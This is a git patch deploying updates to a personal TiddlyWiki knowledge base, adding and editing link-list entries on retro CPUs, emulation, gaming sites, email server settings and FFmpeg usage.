From 817ef76e15f0475da084a6ea4eb06d6f88e5b3b9 Mon Sep 17 00:00:00 2001 From: andrigamerita <37557992+andrigamerita@users.noreply.github.com> Date: Fri, 19 Jan 2024 17:26:15 +0000 Subject: [PATCH] =?UTF-8?q?Deploying=20to=20gh-pages=20from=20@=20octospac?= =?UTF-8?q?c/OcttKB@f63bd18e101339d4c63966ed8de5691e43678138=20?= =?UTF-8?q?=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- -1.html | 35 +++++------ -2.html | 24 ++++---- Static.html | 61 ++++++++++--------- Static/Android.html | 2 +- Static/Android/Development.html | 4 +- Static/Cartography.html | 4 +- Static/Database.html | 8 +-- Static/Development/Resources.html | 4 +- Static/Linux/Advanced.html | 4 +- Static/Nintendo Entertainment System.html | 4 +- Static/OcttKB.html | 2 +- Static/OcttKB/Index.html | 2 +- Static/PICO-8.html | 10 ++- Static/Strange things.html | 5 +- .../Super Nintendo Entertainment System.html | 4 +- Static/WordPress.html | 6 +- Static/~Welcome~.html | 2 +- index.html | 27 ++++---- 18 files changed, 110 insertions(+), 98 deletions(-) diff --git a/-1.html b/-1.html index 5c2aee2e..4890a41b 100644 --- a/-1.html +++ b/-1.html @@ -751,7 +751,7 @@ {"title":"$:/state/plugin-info-1958370054-$:/core--2000059281","created":"20220920140149154","modified":"20220920140149154","text":"contents"}, {"title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","created":"20230108195707554","modified":"20230108195709210","text":"readme"}, {"title":"$:/state/plugin-info-496662381-$:/languages/it-IT","created":"20230218113830823","creator":"Octt","modified":"20230218114059177","modifier":"Octt","text":"no"}, -{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240108100838992","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/search/currentTab","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, {"title":"$:/state/showeditpreview","created":"20220920140732083","creator":"Octt","modified":"20231227005915618","modifier":"Octt","text":"yes"}, {"title":"$:/state/ShowPaletteEditor","created":"20220920114858684","modified":"20220920114858684","text":"yes"}, {"title":"$:/state/sidebar","created":"20220920174307633","creator":"Octt","modified":"20231221152237213","modifier":"Octt","text":"yes"}, @@ -792,8 +792,8 @@ {"title":"$:/state/tab-914888664","created":"20230110152841020","modified":"20230110152841020","text":"$:/core/ui/TiddlerInfo/References"}, {"title":"$:/state/tab-99014043","created":"20220921221238452","creator":"Octt","modified":"20230218224826352","modifier":"Octt","text":"$:/core/ui/ControlPanel/TiddlerIcon"}, {"title":"$:/state/tab/moresidebar-1850697562","created":"20220920114911876","creator":"Octt","modified":"20230920153329472","modifier":"Octt","text":"$:/core/ui/MoreSideBar/Explorer"}, -{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240108100838993","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, -{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240110011701265","modifier":"Octt","text":"OcttKB/Index"}, +{"title":"$:/state/tab/search-results/sidebar","created":"20230501095944427","creator":"Octt","modified":"20240118230426101","modifier":"Octt","text":"$:/core/ui/DefaultSearchResultList"}, +{"title":"$:/state/tab/sidebar--595412856","created":"20220920092307479","creator":"Octt","modified":"20240110101100366","modifier":"Octt","text":"OcttKB/Index"}, {"title":"$:/state/tabs/controlpanel/toolbars-1345989671","created":"20220920114638764","creator":"Octt","modified":"20230128224606306","modifier":"Octt","text":"$:/core/ui/ControlPanel/Toolbars/PageControls"}, {"title":"$:/state/tag-cloud-count","created":"20230109231545587","modified":"20230109231831243","text":"inline"}, {"title":"$:/state/toc-$:/OcttKB/ToC-2084057354","created":"20230301190128004","creator":"Octt","modified":"20230301190128780","modifier":"Octt","text":"close"}, @@ -1063,7 +1063,7 @@ {"title":"1337x:en","created":"20220923133930693","creator":"Octt","modified":"20230221224113158","modifier":"Octt","tags":"Web BitTorrent Sharing Research $:/i18n:en","text":"''1337x'' is a [[torrent|BitTorrent]] search engine.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/b/bb/1337X_logo.svg]]\n\nIn recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.\n\nThe site features text search, categories, and user profiles."}, {"title":"2048","created":"20230111153852789","creator":"Octt","modified":"20230225112624871","modifier":"Octt","tags":"Puzzle $:/i18n:en Game Generic Libre $:/Games","text":"\u003C\u003C^wikipediaframe \"2048 (video game)\">>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://play2048.co\">>\n\n!! ''Implementations''\n\n* ''Official (Gabriele Cirulli)'': [[Web|https://play2048.co/]] | [[Git|https://github.com/gabrielecirulli/2048/]]\n** Android Repack: [[F-Droid|https://f-droid.org/en/packages/com.uberspot.a2048/]] | [[Git|https://github.com/uberspot/2048-android/]]\n\n* ''Privacy Friendly 2048 (SecUSo)'': [[F-Droid|https://f-droid.org/en/packages/org.secuso.privacyfriendly2048/]] | [[Git|https://github.com/SecUSo/privacy-friendly-2048/]]\n\n!! ''Clones''\n\n* [[2248]]\n* ...\n"}, {"title":"2248","created":"20230205144033227","creator":"Octt","modified":"20230225112438828","modifier":"Octt","tags":"TODO Game $:/Games","text":"A diverse [[2048]] clone, nice fun.\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://2248game.com\">>\n"}, -{"title":"6502","created":"20231029001701704","creator":"Octt","modified":"20231107225433388","modifier":"Octt","tags":"CPU Microprocessor Retro","text":"\u003C\u003C^wikipediaframe 6502>>\n\n* \u003C\u003ChttpL 6502.org>> --- //the 6502 microprocessor resource//\n* [[6502 Disassembly Projects|https://6502disassembly.com/]]\n\n* [[6502 Assembly Crash Course [NesHacker]|https://www.youtube.com/playlist?list=PLgvDB6LWam2WvoFvh8tlUqbqw92qWM0aP]]\n* [[https://100r.co/site/6502_assembly.html]] --- Extremely reduced introduction to 6502 assembly basic concepts\n* [[Programming the NES: The 6502 in detail|https://www.middle-engine.com/blog/posts/2020/06/23/programming-the-nes-the-6502-in-detail]]\n\n* [[Benchmark: C compilers for the 6502 CPU|https://sgadrat.itch.io/super-tilt-bro/devlog/219534/benchmark-c-compilers-for-the-6502-cpu]] --- \u003C\u003C[# \"Code on Git\" \"https://github.com/sgadrat/6502-compilers-bench\">>\n* \u003C\u003Clinkdescgit cc65\"https://cc65.github.io\" \"complete cross development package for 65(C)02 systems\" \"https://github.com/cc65\">>\n** [[cc65 coding hints|https://cc65.github.io/doc/coding.html]] ; [[Advanced optimizations in CC65|https://github.com/ilmenit/CC65-Advanced-Optimizations]] --- //How to generate the most efficient code with cc65//\n"}, +{"title":"6502","created":"20231029001701704","creator":"Octt","modified":"20240119004410569","modifier":"Octt","tags":"CPU Microprocessor Retro","text":"\u003C\u003C^wikipediaframe 6502>>\n\n* \u003C\u003ChttpL 6502.org>> --- //the 6502 microprocessor resource//\n* [[6502 Disassembly Projects|https://6502disassembly.com/]]\n\n* [[6502 Assembly Crash Course [NesHacker]|https://www.youtube.com/playlist?list=PLgvDB6LWam2WvoFvh8tlUqbqw92qWM0aP]]\n* [[https://100r.co/site/6502_assembly.html]] --- Extremely reduced introduction to 6502 assembly basic concepts\n* [[Programming the NES: The 6502 in detail|https://www.middle-engine.com/blog/posts/2020/06/23/programming-the-nes-the-6502-in-detail]]\n\n* [[Benchmark: C compilers for the 6502 CPU|https://sgadrat.itch.io/super-tilt-bro/devlog/219534/benchmark-c-compilers-for-the-6502-cpu]] --- \u003C\u003C[# \"Code on Git\" \"https://github.com/sgadrat/6502-compilers-bench\">>\n* \u003C\u003Clinkdescgit cc65\"https://cc65.github.io\" \"complete cross development package for 65(C)02 systems\" \"https://github.com/cc65\">>\n** [[cc65 coding hints|https://cc65.github.io/doc/coding.html]] ; [[Advanced optimizations in CC65|https://github.com/ilmenit/CC65-Advanced-Optimizations]] --- //How to generate the most efficient code with cc65//\n*** [[CC65, array of structures supposedly bad?|https://forums.nesdev.org/viewtopic.php?t=17465]]\n"}, {"title":"7z","created":"20230215194145232","creator":"Octt","modified":"20230215194358079","modifier":"Octt","tags":"Libre","text":"\u003C\u003CWikipediaFrame 7z en>>\n\n!! ''7-ZIP''\n\n* https://7-zip.org/\n* https://sourceforge.net/projects/sevenzip/\n\n\u003C\u003CWikipediaFrame 7-Zip en>>"}, {"title":"A Hat in Time:en","created":"20230130073837406","creator":"Octt","modified":"20230206111552056","modifier":"Octt","tags":"TODO $:/i18n:en","text":"\u003C\u003CMediaWiki A_Hat_in_Time en 3>>"}, {"title":"Abandonware","created":"20230209102431381","creator":"Octt","modified":"20230209103452569","modifier":"Octt","tags":"Software","text":"\u003C\u003CMediaWiki Abandonware en 3>>\n\nGood places to get abandonware:\n\n* Misc: [[Internet Archive]]\n* OSes and relative resources: [[WinWorld]]\n* MS-DOS Games: [[DOS Zone|https://dos.zone]]"}, @@ -1154,12 +1154,13 @@ {"title":"Email","created":"20231221000014083","creator":"Octt","modified":"20231223223915590","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Email>>\n\n* [[What characters are allowed in an email address?|https://stackoverflow.com/questions/2049502/what-characters-are-allowed-in-an-email-address]] (contains scary examples)\n\n* [[MxToolbox|https://mxtoolbox.com/]] --- misc tools for email server administration and testing\n* [[SPF/DKIM/DMARC/DomainKey/RBL Test Online|https://appmaildev.com/]]\n\n!! ''Hosting and software''\n\n* [[Best Open Source Email Servers|https://itsfoss.com/open-source-email-servers/]]\n\n* [[Documentation for docker-mailserver!|https://docker-mailserver.github.io/docker-mailserver/latest/]] --- \u003C\u003C[# Git\"https://github.com/docker-mailserver\">>\n\n!!! Postfix\n\n\u003C\u003C^wikipediaframe \"Postfix (software)\">>\n\n* [[Adding aliases inboxes using Postfix|https://unix.stackexchange.com/questions/319222/adding-aliases-inboxes-using-postfix]] --- add new lines in /etc/aliases as needed for aliases, with format `desidered_alias: real_username`, then run `newaliases`.\n* [[Quickly test an IMAP server with telnet|https://coderwall.com/p/h-tzia/quickly-test-an-imap-server-with-telnet]]\n* [[Postfix: SASL auth with PAM and passwd file|https://seenthis.net/messages/522996]] || [[Postfix and SASL (Debian)|http://web.archive.org/web/20210211014625/http://www.jimmy.co.at/weblog/2005/12/05/postfix-and-sasl-debian/]]\n"}, {"title":"Email Settings","created":"20221107225602829","modified":"20230206111552101","modifier":"Octt","tags":"$:/i18n:en","text":"!!! ''Outlook''\n* ''Username'': Full Email Address (e.g. `example@outlook.com`)\n* ''Password'': Standard Account Password\n* ''Server'': `smtp-mail.outlook.com`\n* ''Ports'':\n** ''TLS'': `587`\n** ''No Encryption'': `25`\n* ''Daily Limits'': 250 Mails, or [verification needed] 100 different Recipients\n\n!!! ''Yahoo Mail''\n\n* ''Username'': Full Email Address (e.g. `example@yahoo.com`)\n* ''Password'': App Password; Must be set from Yahoo's account security settings\n* ''Server'': `smtp.mail.yahoo.com`\n* Ports: 465 (With SSL)\n** ''SSL'': `465`\n** ''TLS'': `587`\n* ''Daily Limits''\u003Csup>[verification needed]\u003C/sup>: 500 Mails, or 100 Connections"}, {"title":"Emulation","created":"20230116211647194","creator":"Octt","modified":"20231212234134224","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Emulator en >>\n\n!! ''Resources''\n\n* a big list of [[Emulators written in JavaScript|https://github.com/fcambus/jsemu]]\n* a \u003C\u003CRedditL r/iosgaming/comments/tcdpr4/list_of_browser_based_emulators/ \"list of browser based emulators\">>\n* [[EmulatorJS|https://emulatorjs.org/]] --- //tool to embed an emulator into your website// --- \u003C\u003C[# Git\"https://github.com/EmulatorJS/EmulatorJS\">>\n** It was apparently born as a reverse-engineering of \u003C\u003ChttpsL www.emulatorjs.com>>\n\n* [[Is it possible to make a ROM converter?|https://retrocomputing.stackexchange.com/questions/8121/is-it-possible-to-make-a-rom-converter]] --- Spoiler: yes, but not often and not without high costs\n** [[jamulator: Statically Recompiling NES Games into Native Executables with LLVM and Go|https://andrewkelley.me/post/jamulator.html]]\n\n!!! ''Web Sites''\n* [[Emulation General Wiki|https://emulation.gametechwiki.com]]\n* [[Zophar's Domain|https://www.zophar.net/]]\n\n!!! ''Game Console Emulators''\n* https://github.com/js-emulators/desmond\n* https://github.com/44670/44vba\n* https://github.com/skylersaleh/SkyEmu\n\n!!! ''General PC Emulators''\n\n* [[Virtual x86 (v86) by copy|https://copy.sh/v86/]] - //x86 virtualization in your browser, recompiling x86 to wasm on the fly// - \u003C\u003C[ \"[[Git|https://github.com/copy/v86]]\">>\n* [[TinyEMU|https://bellard.org/tinyemu/]] - //system emulator for the RISC-V and x86 architectures//\n** [[JSLinux|https://bellard.org/jslinux/]] - //Run Linux or ''other Operating'' Systems in your browser!//\n* https://dos.zone/mobile/\n* [[Bochs|https://bochs.sourceforge.io/]] - //IA-32 emulator// - \u003C\u003C[ \"[[Git|https://github.com/bochs-emu/]]\">>\n** \u003C\u003CGPlayLink net.sourceforge.bochs \"Android port\">> by lubomyr\u003C\u003Cfnote \"The same developer also has other various emulators\">> - Sources: [[Core|https://github.com/lubomyr/bochs]], [[GUI|https://github.com/lubomyr/BochsLauncher]]\n* [[PCem|https://pcem-emulator.co.uk/]] - IBM PC emulator with focus on emulation of infinite hardware components - \u003C\u003C[ \"[[Git|https://github.com/sarah-walker-pcem/pcem]]\">>\n** [[86Box|https://86box.net/]] --- a sometimes more recommended fork --- \u003C\u003C[# Git \"https://github.com/86Box\">>\n\n!!! ''Linux Emulators''\n* [[WebVM|https://webvm.io]] - //Linux virtualization for the Web, in WebAssembly// - \u003C\u003C[ \"[[Git|https://github.com/leaningtech/webvm]]\">>\n* [[box86\\box64|https://box86.org/]] - //Linux Userspace x86 Emulator for ARM// - \u003C\u003C[ \"[[Git (86)|https://github.com/ptitSeb/box86]]\">> \u003C\u003C[ \"[[Git (64)|https://github.com/ptitSeb/box64]]\">>\n\n!!! ''Other''\n* [[Thumbnails for RetroArch|https://github.com/libretro-thumbnails/libretro-thumbnails]]\n* https://github.com/Abdess/retroarch_system\n* [[Emulator files|https://emulation.gametechwiki.com/index.php/Emulator_files]] (system BIOS and such)\n"}, -{"title":"Endianness","created":"20230404134313374","creator":"Octt","modified":"20230404134900364","modifier":"Octt","tags":"","text":"* [[Was Little Endian made to confuse programmers|https://www.quora.com/Was-Little-Endian-made-to-confuse-programmers]]\n* \u003C\u003CRedditL /r/csELI5/comments/1qkadu/big_and_little_endians/ \"Big and Little Endians - r/csELI5\">>\n* https://www.technicalsourcery.net/posts/on-endianness/ [\u003C\u003CHackernewsL 28207414>>]\n"}, +{"title":"Endianness","created":"20230404134313374","creator":"Octt","modified":"20240119003724455","modifier":"Octt","tags":"Computing","text":"\u003C\u003C^wikipediaframe Endianness>>\n\n* [[Was Little Endian made to confuse programmers|https://www.quora.com/Was-Little-Endian-made-to-confuse-programmers]]\n* \u003C\u003CRedditL /r/csELI5/comments/1qkadu/big_and_little_endians/ \"Big and Little Endians - r/csELI5\">>\n* https://www.technicalsourcery.net/posts/on-endianness/ [\u003C\u003CHackernewsL 28207414>>]\n"}, {"title":"English","created":"20220922204615800","icon":"$:/languages/en-GB/icon","modified":"20220922204615800"}, {"title":"EPSON WF-2510","created":"20230902000456550","creator":"Octt","modified":"20231221002107431","modifier":"Octt","tags":"Printing","text":"Linux driver:\n\n* on [[OpenPrinting|https://openprinting.org/printer/Epson/Epson-WF-2510_Series]]\n** the deb file is apparently outdated and won't work on Debian 12\n* (Debian) apt package: `printer-driver-escpr` (available in stable as of Debian 12)\n"}, {"title":"Eruda","created":"20230113095118172","creator":"Octt","modified":"20230413085714108","modifier":"Octt","tags":"App $:/i18n:en","text":"''[[Eruda|https://eruda.liriliri.io]]'' is an open-source JavaScript applet for Web browsers, created to bring developer tools to those that lack them (like mobile ones). It provides the following features (from the project's README):\n\n* Console: Display JavaScript logs and run commands\n* Elements: Check the DOM's state\n* Network: Show requests status\n* Resources: Show localStorage and cookie information\n* Info: Show URL and user agent info\n* Snippets: Include snippets used most often\n* Sources: HTML/CSS/JS, source code viewer\n\n!!! ''More Resources''\n\n* Source Code and Documentation: [[github.com/liriliri/eruda|https://github.com/liriliri/eruda]]\n* \u003Ch3>➡️ \u003Ca href={{$:/ThirdParty/Eruda-Inject.bkjs}}>Inject Eruda into this page\u003C/a>\u003C/h3>"}, {"title":"ESP8266:en","created":"20230202103531778","creator":"Octt","modified":"20230206111552112","modifier":"Octt","tags":"MCU $:/i18n:en","text":"\u003C\u003CWikipediaFrame ESP8266 en>>"}, {"title":"F-Zero","created":"20230219132559585","creator":"Octt","modified":"20230226222922829","modifier":"Octt","tags":"Racing Retro Modern Nintendo","text":"\u003C\u003C^wikipediaframe F-Zero>>\n\n; What I like\n: The game feels very fast, speedy, like you can't rest for even a second while racing, it's immersive. \u003Cdd>\nVery impressive how the [[SNES]] version runs at a constant 60 FPS.\n\u003C/dd>\n: The [[Mode-7]] games are especially colorful and the controls feel good.\n; What I don't like\n: The 3D games are kind of \"foggy\" and dark, and while the atmosphere may feel more modern, they are mostly unattractive to me.\n"}, +{"title":"Fantasy computer","created":"20240119005148701","creator":"Octt","modified":"20240119010619538","modifier":"Octt","tags":"","text":"* //''[[Uxn/Varvara ecosystem|https://100r.co/site/uxn.html]]'' is a personal computing stack based on a small virtual machine that lies at the heart of our software, and that allows us to run the same application on a variety of systems.//\n** //''[[Uxn|https://wiki.xxiivv.com/site/uxn.html]]'' is a virtual stack-machine designed to host the Hundred Rabbits projects.//\n** [[Awesome Uxn Awesome|https://github.com/hundredrabbits/awesome-uxn#emulators]] --- //Curated list of awesome Uxn projects from the community.//\n** [[learn-uxn|https://metasyn.srht.site/learn-uxn/]] by trying and editing code in the browser\n\n!! Fantasy console\n\n\u003C\u003C^wikipediaframe \"Fantasy console\">>"}, {"title":"Fediverse","created":"20230114124144464","creator":"Octt","icon":"","modified":"20231223123321502","modifier":"Octt","tags":"[[Social network]]","text":"\u003C!-- \u003C\u003CMediaWiki Fediverse en 1 Fediverse_logo_proposal.svg>> -->\n\u003C\u003C^wikipediaframe Fediverse en>>\n\n!! ''List of Platforms''\n\nTip: these sites list many public instances for many platforms.\n\n* [[Fediverse.Party|https://fediverse.party]] --- \u003C\u003C#[ Git \"https://codeberg.org/fediverse/fediparty\">>\n* [[Fediverse Observer|https://fediverse.observer]]\n* [[Fediverse Explorer (h4kor)|https://h4kor.github.io/fediverse-explorer/]] --- Graph view of instances\n\n!!! ''Media''\n\n* [[PeerTube|PeerTube:en]] - Video sharing\n* [[Pixelfed|Pixelfed:en]] - Image sharing\n\n!!! ''Microblogging''\n\n* [[GoToSocial|https://gotosocial.org]] - //Fast, fun, ActivityPub server, powered by Go//\n* [[Mastodon|Mastodon]] | [[Hometown|https://github.com/hometown-fork/hometown]] | [[glitch-soc|https://github.com/glitch-soc]]\n* [[Misskey|Misskey]] | [[Dolphin|https://github.com/syuilo/dolphin]]\n* [[Pleroma|https://pleroma.social]] | [[Akkoma|https://akkoma.social]] | [[Soapbox|https://soapbox.pub]]\n* [[Takahē|https://jointakahe.org]] - //An efficient ActivityPub Server, for small installs with multiple domains//\n\n!!! ''Other''\n\n* [[Epicyon|https://epicyon.net]] [[[Git|https://gitlab.com/bashrc2/epicyon]]] - //Designed for simplicity and accessibility, includes calendar, news and sharing economy features//\n* [[Friendica|Friendica]]\n* [[Lemmy|Lemmy:en]] [[[Git|https://github.com/ernestwisniewski/kbin]], [[Dev Instance|https://dev.karab.in]]] - //🐀 A link aggregator and forum for the fediverse//\n* [[/kbin|https://kbin.pub]] - //Fediverse of content//\n\n!!! ''Coming Soon''\n\n* [[Goldfish Social|https://github.com/Goldfish-Social/Goldfish]]\n\n\n!! ''Posts and Users''\n\n* [[Fediverse Explorer (stefanbohacek)|https://stefanbohacek.com/project/fediverse-explorer/]] --- //Browse most recent public posts across the fediverse by hashtag//\n* [[fediverse.info|https://fediverse.info/]] --- Directory of suggested profiles\n\n\n!! ''Other''\n\n* [[Soapbox|https://soapbox.pub/]] --- //A social media frontend with a focus on custom branding and ease of use.// (+ other things) --- \u003C\u003C[# Git\"https://gitlab.com/soapbox-pub\">>\n* [[Mangan App|https://manganapp.vercel.app]] --- //Fork of Mangane, fork Soapbox, fork of Mastodon UI//, with support for login into any instance --- \u003C\u003C[# Git\"https://github.com/sjbat/mangan\">>\n\n* [[Fediverse Enhancement Proposals|https://codeberg.org/fediverse/fep]]\n* [[MaPlefeed|https://maplefeed.bihlink.com/]] --- //Mastodon & Pleroma Feed generator// --- \u003C\u003C[# Git\"https://github.com/bihlink/maplefeed\">>\n\n"}, {"title":"FFmpeg","created":"20231210222318699","creator":"Octt","modified":"20231210222659341","modifier":"Octt","text":"\u003C\u003C^wikipediaframe FFmpeg>>\n\n* [[ffmpeg.wasm|https://ffmpegwasm.netlify.app/]] --- //FFmpeg for browser, powered by WebAssembly// --- \u003C\u003C[# Git\"https://github.com/ffmpegwasm\">>\n** [[ffmpeg-web|https://ffmpeg-web.netlify.app/]] --- //Web UI for ffmpeg-wasm: convert video, audio and images using the power of ffmpeg, directly from your browser// --- \u003C\u003C[# Git\"https://github.com/dinoosauro/ffmpeg-web\">>"}, {"title":"FFmpeg/Snippets","created":"20221008141221923","creator":"Octt","modified":"20231112232329809","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"!! Flags\n\n* Specify an input file: `-i ${File}`\n* Framerate: `-r ${r}`, `-framerate ${r}` (//use both because one sometimes doesn't work//) ([[other ways|https://stackoverflow.com/questions/45462731/using-ffmpeg-to-change-framerate#45465730]])\n\n\n!!! Filter Flags\n\n//These are specified by prefixing an argument://\n\n* Audio: `-filter:a` or `-af`\n* Video: `-filter:v` or `-vf`\n\n!!!! Audio Filters\n\n* Volume: `volume=`\n** `±{n}dB`: Adding or Subtracting to absolute value in dB\n** `{%/100}`: Target percentage divided by 100 (e.g: //150% -> 1.5//)\n\n* Detecting volume details: `volumedetect -f null /dev/null` (just prints to console)\n\n!!!! Video Filters\n\n* Scaling: `scale=${w}:${h}`\n* [[Cropping|https://video.stackexchange.com/questions/4563/how-can-i-crop-a-video-with-ffmpeg]]: `crop=${w}:${h}:${x}:${y}`\n\n\n!!! Audio/Video Flags\n\n//These are specified as `-flag:a` or `-flag:v`.//\n\n* Bitrate: `-b:{a|v} ${n}{k|m|...}`\n* Codec: `-c:{a|v} ${codec}`\n\n!!!! Audio Flags\n\n* Audio channels: `-ac ${n}`\n\n\n!! Codecs List\n\n!!! Special\n\n* `copy`: Copy data stream without re-encoding (if supported by container)\n\n!!! Audio Codecs\n\n* `libopus`\n\n!!! Video Codecs\n\n* `h263`, `h264`, `libx265`\n* `libvpx-vp8`, `libvpx-vp9`\n* `libaom-av1`\n\n\n!! Tips\n\n* [[Trim Video|https://shotstack.io/learn/use-ffmpeg-to-trim-video]]\n* [[Image+Audio -> Video|https://superuser.com/questions/1041816/combine-one-image-one-audio-file-to-make-one-video-using-ffmpeg]]"}, @@ -1181,7 +1182,7 @@ {"title":"Game modding","created":"20230823100808184","creator":"Octt","modified":"20230823101557566","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Video game modding\">>\n\n* [[Valve Developer Union|https://valvedev.info]]"}, {"title":"Game save","created":"20230504095233944","creator":"Octt","modified":"20231001093833237","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamesave>>\n\n* [[3DS Save Bank|https://ds-save-bank.firebaseapp.com/]]\n"}, {"title":"Gamepad","created":"20230822234737434","creator":"Octt","icon":"🎮","modified":"20231103235715411","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Gamepad","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamepad>>\n\n* [[The “padhacking” thread|https://archive.supercombo.gg/t/the-padhacking-thread/16708/1]]\n\n* [[Converting a wireless 360 controller to wired|https://gaming.stackexchange.com/questions/155459/converting-a-wireless-360-controller-to-wired]] --- Basically impossible, while the integrated MCU carries data via USB, it has a fake firmware that can't carry HID events... because actually the pad's port (proprietary USB fork really with 3 extra pins) has data pins. Who knows.\n"}, -{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240110010352237","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"}, +{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240119001124100","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[|https://vgmdb.net/]]\n\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly 